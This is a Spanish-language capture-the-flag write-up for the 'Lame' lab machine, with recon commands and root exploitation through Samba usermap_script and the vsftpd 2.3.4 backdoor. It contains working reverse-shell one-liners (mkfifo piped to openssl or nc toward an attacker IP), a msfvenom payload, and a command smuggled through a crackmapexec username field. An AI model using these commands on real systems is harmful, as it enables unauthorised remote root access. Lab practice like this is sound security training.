---
# System prepended metadata

title: LAME

---

# LAME

[TOC]

## RECON

Marc: Primeros pasos, enumero los puertos. Lo hago con triple verbose por poder ver los puertos abiertos y poder seguir haciendo el recon y no esperar a que finalize el escaneo de puertos. 
`nmap -p- --open --min-rate 5000 -Pn -n -vvv 10.10.10.3`

Enumero los puertos de forma individualizada y lo primero es mirar la version del servicio y buscar exploits con searchsploit. 
`searchsploit Samba 3.0.20-Debian`
`searchsploit vsftpd 2.3.4`
`searchsploit OpenSSH 4.7p1`


Aunque haya el exploit y veo que hay los puertos 22,445 es hacer si me puedo logear como usuario anonimo o por session nulla. 

`crackmapexec smb 10.10.10.3 -u '' -p '' --shares`





Carlos:
`nmap -p- --open -sS --min-rate 5000 -Pn -n -vvv 10.10.10.3 -oG ports.gp`
`nmap -p21,22,139,445,3632 -sV --min-rate 5000 -sC -Pn -n -vvv 10.10.10.3 -oN scan.txt`

`searchsploit Samba 3.0.20-Debian`
`searchsploit vsftpd 2.3.4`
`searchsploit OpenSSH 4.7p1`

## Explotacion

Marc: 
exploit de  https://0x00sec.org/t/cvexplained-cve-2007-2447/22748
// NO HA FUNCIONADO 
revese shell por ssl 

```bash=
user@attack$ openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
user@attack$ openssl s_server -quiet -key key.pem -cert cert.pem -port 4242
or
user@attack$ ncat --ssl -vv -l -p 4242

user@victim$ mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 10.0.0.1:4242 > /tmp/s; rm /tmp/s
```





Carlos:
> METODO 1:
> `msfvenom -p cmd/unix/reverse_netcat LHOST=10.10.14.5 LPORT=443 -f python`
https://gist.githubusercontent.com/joenorton8014/19aaa00e0088738fc429cff2669b9851/raw/6e1ae37e0061be103fd733b16266d26379a7f4ba/samba-usermap-exploit.py
('traduci el script a py3') `python3 samba-usermap-exploit.py 10.10.10.3`

> METODO 2:
Attacker > `nc -lnvp 1234`
```crackmapexec smb 10.10.10.3 -u "/=\`nohup rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.5 1234 >/tmp/f\`" -p ""```

> METODO 3 (fallido):
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2523
`telnet 10.10.10.3 21`
`USER hacker:)` ( ES NECESARIO EL ':)' PARA QUE FUNCIONE EL EXPLOIT )
`PASS letmein`
`telnet 10.10.10.3 6200`

## Post-Explotacion

Como el servicio lo corre el servicio root y al ser un rce ejecutamos comandos como root, entonces tenemos acceso como root directamente.
